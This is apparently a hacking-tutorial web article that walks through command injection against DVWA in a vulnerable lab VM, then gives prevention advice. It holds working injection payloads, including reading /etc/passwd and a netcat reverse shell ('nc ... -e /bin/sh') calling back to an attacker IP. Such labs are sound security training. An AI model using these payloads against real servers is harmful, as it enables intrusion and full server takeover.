How to Use Command Injection to Pop a Reverse Shell on a Web Server « Null Byte :: WonderHowTo

Command injection is a technique used by hackers to execute system commands on a server, usually via a web application or some kind of GUI. This can happen when an application provides some sort of functionality to the user involving the use of system commands. When the input is not properly sanitized, commands not originally intended to be run are allowed to be executed.Since the application basically acts as an impromptu shell of sorts, this type of attack can lead todisastrous consequences. Depending on the level of privilege the application has, an attacker can do anything, including viewing configuration files, modifying or deleting data, or even getting a shell or creating a backdoor.It is important to note the difference betweencode injectionand command injection. In code injection, an attacker inserts custom code that is then executed by the application or program, whereas command injection takes advantage of the functionality of the application in which system commands are executed. These concepts are similar, but the fact that command injection builds upon the default behavior of the application often makes it easier to exploit.In this tutorial, I will be usingDVWA(Damn Vulnerable Web Application) as part ofMetasploitable 2, a vulnerable virtual machine, to simulate this attack.Don't Miss:How to Create a Virtual Hacking Lab to Practice Hacking SkillsStep 1: Find an Attack VectorWe can begin by searching for an appropriate attack vector to exploit. In this example, the site has a function that allows us to ping otherdomainsorIP addressesto test for connectivity. In reality, it would probably be rare to find such a blatant example of this, but you never know (sometimes the lowest-hanging fruit yields the best results). For demonstration purposes, this will work perfectly though.It's easy enough here to enter the loopback address, or localhost, to test this out. We can see the ping replies, so it appears to be working correctly.Step 2: Test for Vulnerabilities by Injecting CommandsNext, we can try injecting a simple command to see if a vulnerability exists. This particular web server is runningLinux, but the same technique can be applied to Windows servers by using Windows commands. We can append a command using&&(AND),;(separator), or|(pipe). Let's try a simplelsfirst. The injection was successful and the content of the current directory is displayed:We can also use the commandwhoamito get the current username:Theuname -acommand will print system information such as kernel and operating system:We can view the contents of /etc/passwd by appendingcat/etc/passwdto the command:So far, all of the commands we've run have been low impact — useful for gathering information about the server but not much else. What if we could get a shell on the system and own it completely? Well, using the popular toolNetcat, we can do precisely that.Bind Shells vs. Reverse ShellsBefore we jump into popping a shell, it's important to understand the differences between bind shells and reverse shells.A bind shell is a command shell that is opened on the target system, essentially binding itself to a specific port. The attacking system then connects to that listening port and an interactive session is initiated. Bind shells aren't used very often today because any active firewall will block incoming connections to some random port.A reverse shell, on the other hand, will actively connect back to the attacking machine from the target. In this situation, the attacking device has an open port listening for incoming connections. Since outgoing traffic is less likely to be filtered by the firewall, a reverse shell is often the preferred choice.Step 3: Use Netcat to Get a ShellNetcat is a powerful networking utility used to test TCP or UDP connections. Other features include debugging, port scanning, file transfer, and backdoor capabilities. We can use Netcat to spawn a reverse shell on the web server, provided it is installed, and connect back to our machine yielding complete control over the system.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsFirst, we use the following command on our local system to open up a listener for incoming connections. The usage for Netcat isnc, the-lflag opens a listener, and-p 1234instructs it to use port 1234, but any random port will work.nc -l -p 1234Next, in the web application's ping utility, append the following command to spawn a shell on the server and connect back to our machine:nc 172.16.1.100 1234 -e /bin/shThis connects to the IP address 172.16.1.100 on port 1234, and-e /bin/shexecutes a shell that is sent back to our system. Now we can try running commands from the comfort of our own terminal. Usewhoamito view the current user:root@drd:~# nc -l -p 1234
whoami
www-dataTo get system information, use theuname -acommand:root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxOr, usepsto view current running processes:root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY           TIME CMD
 4638 ?         00:00:00 apache2
 4642 ?         00:00:00 apache2
 4644 ?         00:00:00 apache2
 4645 ?         00:00:00 apache2
 4778 ?         00:00:00 apache2
 4783 ?         00:00:00 apache2
 4797 ?         00:00:00 sh
 4799 ?         00:00:00 nc
 4815 ?         00:00:00 apache2
 4858 ?         00:00:00 apache2
 4864 ?         00:00:00 apache2
 4967 ?         00:00:00 apache2
 5004 ?         00:00:00 sh
 5006 ?         00:00:00 nc
 5075 ?         00:00:00 php
 5076 ?         00:00:00 sh
 5078 ?         00:00:00 sh
 5120 ?         00:00:00 psFrom here, we canpivot to other systemson the network, create a backdoor, or knock the server offline entirely. The possibilities are endless now that we have essentially owned the server.How to Prevent Command InjectionLike many attacks that occur on the web, especially other injection techniques, command injection can be successfully prevented and mitigated by ensuring that proper input validation is in place. By filtering out certain phrases and special characters, or ideally using a whitelisting approach, the likelihood of a damaging attack is reduced.Secure coding practices and code reviews are becoming increasingly vital to the development process; Limiting what can be exploited from the start is a great way to bolster the overall security posture of an organization and its applications. Likewise, using reliable APIs that provide parameterized input is always a safe bet, as well as running applications with the lowest possible privileges.Ultimately, though, the best thing to do is omit OS command functionality altogether. In many cases, there is no good reason a web-facing interface needs to interact with system commands at all. By eliminating the vulnerability in the first place, you have essentially defeated an attacker on that front.ConclusionTime and time again we've seen how poorly validated input can lead to exploitation, especially when dealing with web applications. Command injection relies on functionality involving OS commands, typically via a web app or GUI. When unintended commands are allowed to be executed on the system, an attacker can own the server and get a shell, as we demonstrated with Netcat. This just goes to show how seemingly harmless implementations can be compromised and exploited.Don't Miss:How to Install Kali Linux as a Virtual Machine on macOSFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byblickpixel/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Reverse Shell Using PythonHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Find & Exploit SUID Binaries with SUID3NUMHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Hack Metasploitable 2 Including Privilege EscalationHow To:Exploit PHP File Inclusion in Web AppsHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Beat LFI Restrictions with Advanced TechniquesHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Use One-Lin3r to Quickly Generate Reverse Shells, Privesc Commands & MoreHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Create Backdoor on OSXHow To:Use Postenum to Gather Vital Data During Post-ExploitationHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Push and Pull Remote Files Securely Over SSH with PipesHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Create an SSH Tunnel Server and Client in LinuxHow Null Byte Injections Work:A History of Our NamesakeHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Reveal Saved Browser Passwords with JavaScript InjectionsHow To:An Entry Level Guide to Finding and Reading Logs (And Maybe Staying Out of Jail)How To:Safely Log In to Your SSH Account Without a PasswordNews:Change from BASH to zsh